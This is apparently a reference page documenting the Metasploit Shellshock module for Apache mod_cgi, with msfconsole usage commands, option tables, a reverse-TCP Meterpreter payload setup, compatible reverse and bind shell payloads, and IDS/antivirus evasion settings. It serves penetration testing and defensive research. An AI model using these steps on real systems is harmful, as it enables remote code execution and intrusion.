Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) - Metasploit
This page contains detailed information about how to use the exploit/multi/http/apache_mod_cgi_bash_env_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
Module: exploit/multi/http/apache_mod_cgi_bash_env_exec
Source code: modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
Disclosure date: 2014-09-24
Last modification time: 2018-11-16 12:18:28 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-6271, CVE-2014-6278
This module is also known as Shellshock.
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets CGI scripts in the Apache web server by setting the HTTP_USER_AGENT environment variable to a malicious function definition.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
TARGETURI: Path to CGI script
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Msfconsole Usage
Here is how the multi/http/apache_mod_cgi_bash_env_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show info
Name: Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
Module: exploit/multi/http/apache_mod_cgi_bash_env_exec
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-09-24
Provided by:
Stephane Chazelas
wvu <[email protected]>
juan vazquez <[email protected]>
lcamtuf
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD_MAX_LENGTH 2048 yes CMD max line length
CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER User-Agent yes HTTP header to use
METHOD GET yes HTTP method to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI yes Path to CGI script
TIMEOUT 5 yes HTTP read response timeout (seconds)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Space: 2048
Description:
This module exploits the Shellshock vulnerability, a flaw in how the
Bash shell handles external environment variables. This module
targets CGI scripts in the Apache web server by setting the
HTTP_USER_AGENT environment variable to a malicious function
definition.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-6271
https://nvd.nist.gov/vuln/detail/CVE-2014-6278
https://cwe.mitre.org/data/definitions/94.html
OSVDB (112004)
https://www.exploit-db.com/exploits/34765
https://access.redhat.com/articles/1200223
https://seclists.org/oss-sec/2014/q3/649
Also known as:
Shellshock
Module Options
This is a complete list of options available in the multi/http/apache_mod_cgi_bash_env_exec exploit:
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD_MAX_LENGTH 2048 yes CMD max line length
CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER User-Agent yes HTTP header to use
METHOD GET yes HTTP method to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI yes Path to CGI script
TIMEOUT 5 yes HTTP read response timeout (seconds)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the multi/http/apache_mod_cgi_bash_env_exec exploit:
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show advanced
Module advanced options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, echo, printf)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/apache_mod_cgi_bash_env_exec module can exploit:
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/apache_mod_cgi_bash_env_exec exploit:
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 payload/linux/x86/read_file normal No Linux Read File
19 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/apache_mod_cgi_bash_env_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #10570 Merged Pull Request: AKA Metadata Refactor
- #8629 Merged Pull Request: add 'Also known as', AKA 'AKA', to module references
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6331 Merged Pull Request: Fix #6330, generate_payload_exe returning nil for generic bind/reverse payloads
- #6298 Merged Pull Request: Update Shellshock modules, add Advantech coverage
- #3932 Merged Pull Request: Add CVE-2014-6278 support to the bash exploit module
- #3912 Merged Pull Request: Fix bad header error from pure Bash CGI script
- #3905 Merged Pull Request: Add variable HTTP Header to the CVE-2014-6271 exploit module too
- #3897 Merged Pull Request: Improve check for BASH HTTP modules
- #3888 Merged Pull Request: Add exploit module for CVE-2014-6271 (Bash exploit)
References
- CVE-2014-6271
- CVE-2014-6278
- CWE-94
- OSVDB (112004)
- EDB-34765
- https://access.redhat.com/articles/1200223
- https://seclists.org/oss-sec/2014/q3/649
See Also
Check also the following modules related to this module:
- exploit/linux/http/advantech_switch_bash_env_exec
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- exploit/unix/dhcp/bash_environment
- exploit/multi/http/cups_bash_env_exec
- auxiliary/server/dhclient_bash_env
- exploit/linux/http/ipfire_bashbug_exec
- exploit/multi/ftp/pureftpd_bash_env_exec
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/osx/local/vmware_bash_function_root
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
- exploit/multi/http/git_submodule_command_exec
- exploit/multi/http/git_submodule_url_exec
- exploit/multi/http/struts_dev_mode
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/php_cgi_arg_injection
Related Nessus plugins:
- Solaris 10 (x86) : 126547-10 (deprecated)
- Solaris 10 (sparc) : 126546-10 (deprecated)
- Bash Remote Code Execution (Shellshock)
- Debian DSA-3032-1 : bash - security update
- RHEL 5 / 6 / 7 : bash (RHSA-2014:1293) (Shellshock)
- GNU Bash Environment Variable Handling Code Injection (Shellshock)
- Slackware 13.0 / 13.1 / 13.37 / 14.0 / 14.1 / current : bash (SSA:2014-267-01) (Shellshock)
- CentOS 5 / 6 / 7 : bash (CESA-2014:1293) (Shellshock)
- FreeBSD : bash -- remote code execution vulnerability (71ad81da-4414-11e4-a33e-3c970e169bc2) (Shellshock)
- Mandriva Linux Security Advisory : bash (MDVSA-2014:186)
Authors
- Stephane Chazelas
- wvu
- juan vazquez
- lcamtuf
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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